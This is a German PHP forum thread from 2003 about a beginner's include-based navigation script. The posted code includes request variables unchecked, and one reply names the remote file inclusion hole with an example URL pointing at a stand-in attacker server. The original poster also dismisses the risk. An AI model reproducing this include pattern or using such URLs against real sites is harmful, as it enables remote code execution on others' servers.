Variablen Probleme

Einklappen
X
 
  • Filter
  • Zeit
  • Anzeigen
Alles löschen
neue Beiträge

  • Variablen Probleme

    Hi Leutchen, ich habe ein Problem, an dem ich mir schon 2 age lang den Kopf zerbreche, und mir bis jetzt noch keiner helfen konnt, auch im Board ist darüber nichts zu finden!

    Meine Navigationsfunktion

    PHP-Code:
    <?php
    if (isset($site))
    {
    include(
    "".$site.".php");
    }
    else if (isset(
    $sites))
    {
    include(
    $sites);
    }
    else
    {
    echo (
    " Es tut uns leid, doch die von Ihnen eingegebene Seite konnte nicht gefunden werden!");
    include(
    "Standard.php");
    }
    ?>
    Der Link mit der Übergabe
    index.php?sites=student.php?start=0.1&a=&b=vorname&c=mathematik&sort=vorname

    Fehler meldung
    Warning: Failed open index.php?sites=student.php?start=0.1&a=&b=vorname&c=mathematik&sort=vorname
    Line 170


    jedoch wenn ich den Link normal
    student.php?start=0.1&a=&b=vorname&c=mathematik&sort=vorname
    öffne funktionier ALLES!
    Daher meine vermutung, es liegt an dem include in der Navigation!
    Kann mir einer von euch vielleicht helfen? Wäre super,
    thx im Voraus
    Zuletzt geändert von the_weird; 05.12.2003, 09:58.

  • #2
    Ändere die Zeile:
    PHP-Code:
    include("".$site.".php); 
    mal so ab:
    PHP-Code:
    include("".$site.".php"); 
    Bleibt der Fehler und welche Zeile ist Zeile 170?

    Und was hat das mit XML zu tun?

    EDIT:
    Ich seh grad, dass du ein CROSSPOSTING gemacht hast! Lass das!
    Zuletzt geändert von XGremliN; 05.12.2003, 09:42.
    it's not a bug,
    it's a feature!

    Kommentar


    • #3
      *CROSSPOSTING* gelöscht.

      *VERSCHIEB* nach php

      @the_weird
      mach bitte niemals ein *CROSSPOSTING*
      wenn du mal versehentlich im falschen forum gepostest hast, können wir das verschieben. aber mache kein CP!
      INFO: Erst suchen, dann posten![color=red] | [/color]MANUAL(s): PHP | MySQL | HTML/JS/CSS[color=red] | [/color]NICE: GNOME Do | TESTS: Gästebuch[color=red] | [/color]IM: Jabber.org |


      Kommentar


      • #4
        Ok, dann weis ich das fürs nächste mal! Das mit dem " war mein fehler, das hatte ich gemacht doch der hat das irgendwie nicht hier mit rein genommen! also normale pages kann ich aufrufen, wie index.php?site=kontakt , aber nur nicht wenn der die ganzen Variablen mit überliefern muss!

        Kommentar


        • #5
          dir ist offenbar nicht klar, dass dein include folgende seite sucht:
          student.php?start=0.1&a=&b=vorname&c=mathematik&sort=vorname[COLOR=crimson].php[/COLOR]
          Kissolino.com

          Kommentar


          • #6
            Nein, schau mal, der geht über $sites nicht über $site

            index.php?sites=student.php?start=0.1&a=&b=vorname&c=mathematik&sort=vorname

            damit übernimt der einfach die variable und versucht sie zu includen! Und da denke ich ist der Fehler, das der include dies nicht schafft!

            Kommentar


            • #7
              hupps ... ein adlerauge schläft noch

              setzt mal vor dem include() ein
              echo $sites; exit;

              btw, du solltest besser mit $_GET arbeiten.
              Kissolino.com

              Kommentar


              • #8
                das ist ja das Prob, ich kenne nur die Form von Navigation Deswegen wäre ich für neue navigationsvorschläge sehr offen! Also ich ahbe das mit dem echo geamcht, der gibt mir den Link zu 100% richtig aus! doch selbst wenn ich den Link öffnen will, also per hand in den Browser eingebe geht es NICHt. Es geht erst, wenn ich das index.php?sites= weg lasse!

                //EDIT
                Mit Formularen will ich nicht arbeiten, da ich sonst über 40 Links aus der Naviagtion mit form und submit und hidden, ... versehen müsste!
                Zuletzt geändert von the_weird; 05.12.2003, 10:15.

                Kommentar


                • #9
                  gut,
                  das "echo" gibt aus: student.php?start=0.1&a=&b=vorname&c=mathematik&sort=vorname
                  korrekt?
                  - dann lösche echo & exit

                  poste bitte mal den code von zeile 165 - 175 aus der index.php

                  zum thema navigation benutzt du bitte mal die suche und
                  einschlägige tutorials. hier ein paar links zu anfänger-seiten:
                  http://www.galileocomputing.de/openbook/php4/
                  http://www.schattenbaum.net/php/
                  http://www.php.net/manual/de
                  http://php-resource.de/tutorials/browse/1/
                  Kissolino.com

                  Kommentar


                  • #10
                    PHP-Code:
                    index.php?sites=student.php?start=0.1&a=&b=vorname&c=mathematik&sort=vorname 
                    steht das z.B. in der Browseradresszeile wenn der Fehler auftritt? wenn ja du hast da zwei ? drin stehen.
                    mfg
                    marc75

                    <Platz für anderes>

                    Kommentar


                    • #11
                      @marc75 ja, dass steht drin! Wie kann ich das umgehen, mit den zwei "?" ?
                      @wurzel

                      die Fehlermeldung:
                      Warning: Failed opening '.student.php?start=0.1.' for inclusion (include_path='') in c:\foxserv\www\user\index.php on line 170

                      das script
                      PHP-Code:
                      163            <?php
                      164          
                      if (isset($site))
                      165          {
                      166          include("".$site.".php");
                      167          }
                      168          else if (isset($sites))
                      169          {
                      170          include(".$sites.");
                      171          }
                      172          else
                      173          {
                      174          include("standard.php");
                      175          }
                      176          ?>
                      danke für eure große unterstützung!
                      Zuletzt geändert von the_weird; 05.12.2003, 13:51.

                      Kommentar


                      • #12
                        Mehrere Parameter übergibst Du mit &, nicht mit ? -- da ist der Fehler, dass das falsche Skript inkludiert werden soll. Also für Deinen Aufruf
                        Code:
                        index.php?sites=student.php&start=0.1&a=&b=vorname&c=mathematik&sort=vorname
                        -------

                        Code:
                        <?php
                        if (isset($site))
                        {
                        include("".$site.".php");
                        }
                        AUTSCH!!!!!

                        Also: erstmal bitte nicht auf register_globals verlassen, sondern mit $_GET arbeiten. Und warum konkatenierst Du Leerstrings? include ist übrigens eine Anweisung, keine Funktion.

                        Dann: Bei Deinem code bastele ich mir eine nette Seite, die einen gar nicht netten Code ausgibt, und inkludiere mir das bei Dir durch Aufruf von index.php?site=http://mein.böser.server/mein/skript

                        Also lasse sowas bitte. Um Dir aus diesem Sicherheitsproblem zu helfen, muss man wissen, wie "site" bzw. "sites" aussieht, bzw. wo die Werte herkommen.


                        -foobar

                        Kommentar


                        • #13
                          dazu kann ich nur LOL sagen, in ein Datenbankscript übergibt man am besten leerestrings, denn ansonsten gibt es leichte funktions störungen, wenn er das net bekomt, was er will

                          zweitens die strings siehst du doch genau woe die herkommen, siehe ersten Beitrag von mir (durch den Link, also von mir).

                          drittens, dass sicherheistproblem stoert mich nicht! Denn selbst wenn einer etwas illegales darüber rootet, bekommt das die Serverstatistik alles mit und ich bin bei rechtsansprüchen mehr als aus dem schneider!

                          Kommentar


                          • #14
                            Klar übergibst Du in einen SQL-Aufruf keine undefinierten Variablen -- das ist aber ein ganz anderes Thema. Hier ist es schlich überflüssig.

                            Das Sicherheitsproblem sollte Dich stören. Es geht nicht (nur) um Rechtsansprüche (übringens wärest Du gar nicht so aus dem Schneider, Stichwort Fahrlässigkeit), sondern z.B. auch darum, dass mit dem Scheunentor, was Du aufmachst, Deine tolle Serverüberwachung auch zu manipulieren ist.

                            Letztens: Du solltest die Werte aus dem Input-Space stets überprüfen. Du könntest z.B. gegen eine Liste zulässiger Werte prüfen, oder checken, ob / oder http:// o.ä. drin vorkommt, oder anderes. DAZU braucht man wissen, woher DIE WERTE kommen (also die gültigen). Jetzt kapiert?

                            --Läuft Dein "Skript" mittlerweile?

                            -foobar

                            Kommentar

                            Lädt...
                            X